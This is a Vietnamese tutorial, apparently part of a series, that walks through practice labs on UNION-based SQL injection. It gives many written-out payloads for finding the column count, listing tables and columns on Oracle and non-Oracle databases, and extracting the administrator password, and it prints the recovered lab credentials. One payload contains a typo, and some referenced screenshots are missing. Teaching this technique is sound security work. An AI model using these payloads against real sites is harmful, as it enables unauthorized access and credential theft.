II. Phân tích và khai thác các lỗ hổng SQL Injection (tiếp)
5. Khai thác lỗ hổng SQL injection - Truy xuất dữ liệu trong các bảng (database tables) (tiếp)
5.2. Khai thác dữ liệu từ các bảng
Sau khi đã tìm được thông tin về loại hệ quản trị cơ sở dữ liệu được sử dụng cũng như kiểm tra các thông tin phụ như phiên bản hiện hành, chúng ta có thể sử dụng các cú pháp truy vấn tương ứng để khai thác dữ liệu mong muốn từ các bảng.
Đặt mục tiêu vào các cột username và password trong bảng users (giả sử đã biết trước các thông tin này), xét payload như sau:
' UNION SELECT username, password FORM users--
Payload trên chắc hẳn các bạn đã rất quen thuộc do chúng ta đã phân tích khá kỹ ở các mục trên. Khi đó giao diện trả về kết quả gồm thông tin các cột dữ liệu cần khai thác. Để hiểu kỹ hơn về kỹ thuật này, chúng ta cùng xem xét bài lab sau:
Phân tích lab SQL injection UNION attack, retrieving data from other tables
Miêu tả: Trang web chứa lỗ hổng SQL injection trong chức năng bộ lọc hiển thị sản phẩm. Kết quả được hiển thị trong giao diện trả về. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng nhằm truy xuất thông tin người dùng administrator trong bảng users, biết rằng bảng này chứa hai cột username và password.
Kiểm tra lỗ hổng SQL injection tại tham số category
, payload /filter?category=Pets' OR 1=1--
Kiểm tra số cột dữ liệu trả về của câu lệnh truy vấn. Payload: /filter?category=Pets' UNION SELECT NULL, NULL--
Như vậy câu lệnh truy vấn trả về cột dữ liệu. Tiếp theo tìm kiếm cột dữ liệu tương thích với kiểu string. Payload /filter?category=' UNION SELECT 'column1', 'column2'--
Cả cột đều có thể tận dụng để hiển thị thông tin khai thác. Do chúng ta đã biết tên bảng cần khai thác là users cũng với hai cột có tên là username và password, thông tin người dùng cần khai thác có username là administrator, nên ta có thể xây dựng payload như sau:
/filter?category=' UNION SELECT password, NULL FROM users WHERE username = 'administrator'--
Câu truy vấn khi đó sẽ truy xuất thông tin mật khẩu từ cột password trong bảng users thỏa mãn điều tên username tương ứng là administrator, kết quả:
Đăng nhập với tài khoản administrator:ddryblwycrtpxdcku53g
, bài lab hoàn thành:
Tuy nhiên, có thể các bạn còn có một vài điều thắc mắc như: làm sao để mình có thể biết được các thông tin như, tên bảng, tên cột? Chúng ta hoàn toàn có cách để tìm ra những thông tin này, tuy nhiên phương pháp có phần khác biệt đối với từng hệ quản trị cơ sở dữ liệu.
Đối với hầu hết các hệ cơ sở dữ liệu (trừ Oracle) thì đều chứa một cơ sở dữ liệu thông tin là INFORMATION_SCHEMA - đã được tôi giới thiệu trong mục Đặt vấn đề. Có thể truy xuất thông tin tất cả các bảng với câu truy vấn sau:
SELECT * FROM information_schema.tables
Kết quả hiển thị có dạng như sau:
Như chúng ta thấy, thông tin tên các bảng được liệt kê trong cột TABLE_NAME. Như vậy, để có thể kết hợp phép UNION nhằm hiển thị danh sách tên các bảng trong cơ sở dữ liệu, chúng ta có thể "hợp" dữ liệu trong cột TABLE_NAME này vào câu truy vấn chứa lỗ hổng SQL injection. Payload có dạng như sau:
' UNION SELECT NULL, table_name FROM information_schema.tables--
Sau khi có được danh sách tên bảng, chúng ta có thể truy xuất thông tin tất cả các cột từ một bảng cụ thể, chẳng hạn bảng Users với cú pháp như sau:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
Kết quả hiển thị có dạng như sau:
Thông tin các cột được hiển thị trong cột COLUMN_NAME. Do đó có thể kết hợp phép UNION nhằm hiển thị danh sách tên các cột trong bảng Users với payload như sau:
' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name = 'Users'--
Phân tích lab SQL injection attack, listing the database contents on non-Oracle databases
Miêu tả: Trang web chứa lỗ hổng SQL injection trong chức năng bộ lọc hiển thị sản phẩm. Kết quả được hiển thị trong giao diện trả về. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng nhằm truy xuất thông tin đăng nhập từ tài khoản administrator, biết rằng trang web không sử dụng hệ quản trị cơ sở dữ liệu Oracle.
Kiểm tra lỗ hổng SQL injection tại tham số category
, payload: /filter?category=' OR 1=1--
Kiểm tra số cột dữ liệu trả về trong câu lệnh truy vấn, payload: /filter?category=' ORDER BY 2--
không trả về error và /filter?category=' ORDER BY 3--
trả về error:
Như vậy câu lệnh truy vấn trả về cột dữ liệu. Tìm kiểm cột dữ liệu tương thích với kiểu chuỗi, payload: /filter?category=' UNION SELECT 'column1', 'column2'--
Như vậy cả hai cột đều có thể tận dụng để hiển thị thông tin khai thác. Truy xuất tên các bảng, payload: /filter?category=' UNION SELECT table_name, NULL FROM information_schema.tables--
Quan sát nhận thấy table pg_user có thể chứa thông tin tài khoản người dùng:
Truy xuất tên các cột trong bảng pg_user, payload: /filter?category=' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'pg_user'--
Trong bảng pg_user có chứa cột usename và passwd là cột chúng ta đang tìm kiếm. Truy xuất thông tin hai cột này, payload: /filter?category=' UNION SELECT usename || ':' || passwd, NULL FROM pg_user--
Không tồn tại thông tin tài khoản chúng ta mong muốn, chú ý vào một table khác có tên users_ctqofp
Thực hiện lại các bước trên, truy xuất thông tin tên cột, payload: /filter?category=' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users_ctqofp'--
Truy xuất thông tin tài khoản administrator, payload: /filter?category=' UNION SELECT username_tgvxoo || ':' || password_wmrodb, NULL FROM users_ctqofp--
Đăng nhập với tài khoản administrator:3utqzp4omabpvutbnz2u
, bài lab được giải quyết:
Đối với hệ quản trị cơ sở dữ liệu Oracle:
- DUAL: là bảng một hàng đặc biệt được hiển thị theo mặc định trong tất cả các cài đặt cơ sở dữ liệu của Oracle
- ALL_TABLES: trả về thông tin các bảng người dùng hiện tại có thể truy cập.
- ALL_TAB_COLUMNS: trả về thông tin các cột của bảng
Trong ALL_TABLES có chứa các cột như TABLE_NAME, OWNER, ... Xét câu truy vấn sau:
SELECT TABLE_NAME, OWNER, TABLESPACE_NAME FROM all_tables
Từ đây có payload kết hợp phép UNION trả về danh sách tên các bảng:
' UNION SELECT NULL, table_name FROM all_tables--
Tương tự, chúng ta có payload kết hợp phép UNION trả về danh sách tên các cột:
' UNION SELECT NULL, column_name FROM all_tab_columns WHERE table_name = 'Users'--
Phân tích lab SQL injection attack, listing the database contents on Oracle
Miêu tả: Trang web chứa lỗ hổng SQL injection trong chức năng bộ lọc hiển thị sản phẩm. Kết quả được hiển thị trong giao diện trả về. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng nhằm truy xuất thông tin đăng nhập từ tài khoản administrator, biết rằng trang web sử dụng hệ quản trị cơ sở dữ liệu Oracle.
Kiểm tra lỗ hổng SQL injection tại tham số category
, payload: /filter?category=' OR 1=1--
Dữ liệu hiển thị bao gồm tất cả các thể loại. Tiếp theo, kiểm tra số cột dữ liệu trả về trong câu truy vấn, payload /filter?category=' UNION SELECT NULL, NULL FROM dual--
Như vậy câu lệnh truy vấn trả về cột dữ liệu. Tìm kiểm cột dữ liệu tương thích với kiểu chuỗi, payload: /filter?category=' UNION SELECT 'column1', 'column2' FROM dual--
Cả hai cột đều có thể sử dụng để hiển thị thông tin khai thác. Truy xuất tên các bảng, payload: /filter?category=' UNION SELECT table_name, NULL FROM all_tables--
Quan sát nhận thấy table USERS_RRFPZC có thể chứa thông tin tài khoản người dùng:
Truy xuất tên các cột trong bảng USERS_RRFPZC, payload: /filter?category=' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'USERS_RRFPZC'--
Truy xuất thông tin tài khoản administrator, payload: /filter?category=' UNION SELECT PASSWORD_UFSEWS, NULL FROM USERS_RRFPZC WHERE USERNAME_HQUIIX = 'administrator'--
Đăng nhập với tài khoản administrator:1t3b78kq9q64oo4ftw6k, bài lab hoàn thành: